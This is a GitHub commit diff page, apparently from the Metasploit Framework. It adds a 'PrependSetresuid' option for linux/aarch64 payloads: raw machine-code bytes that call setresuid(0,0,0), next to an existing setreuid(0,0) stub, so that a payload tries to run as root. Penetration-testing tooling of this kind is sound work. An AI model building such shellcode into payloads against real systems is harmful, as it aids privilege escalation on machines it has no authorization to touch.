Skip to content

Commit ead6af8

Browse files
committed
feat: add PrependSetresuid for linux/aarch64
1 parent aca6613 commit ead6af8

File tree

1 file changed

+12
-5
lines changed

1 file changed

+12
-5
lines changed

lib/msf/core/payload/linux/aarch64/prepends.rb

Lines changed: 12 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@ module Payload::Linux::Aarch64::Prepends
33
include Msf::Payload::Linux::Prepends
44

55
def prepends_order
6-
%w[PrependSetuid]
6+
%w[ PrependSetresuid PrependSetreuid PrependSetuid]
77
end
88

99
def appends_order
@@ -20,10 +20,17 @@ def prepends_map
2020
"\x01\x00\x00\xd4", # svc 0x0
2121

2222
# setreuid(0, 0)
23-
'PrependSetreuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr
24-
"\xe1\x03\x1f\xaa" + # mov x1, xzr
25-
"\x28\x12\x80\xd2" + # mov x8, #0x91
26-
"\x01\x00\x00\xd4" # svc 0x0
23+
'PrependSetreuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr
24+
"\xe1\x03\x1f\xaa" + # mov x1, xzr
25+
"\x28\x12\x80\xd2" + # mov x8, #0x91
26+
"\x01\x00\x00\xd4", # svc 0x0
27+
28+
# setresuid(0, 0, 0)
29+
'PrependSetresuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr
30+
"\xe1\x03\x1f\xaa" + # mov x1, xzr
31+
"\xe2\x03\x1f\xaa" + # mov x2, xzr
32+
"\x68\x12\x80\xd2" + # mov x8, #0x93
33+
"\x01\x00\x00\xd4" # svc 0x0
2734
}
2835
end
2936

0 commit comments

Comments
 (0)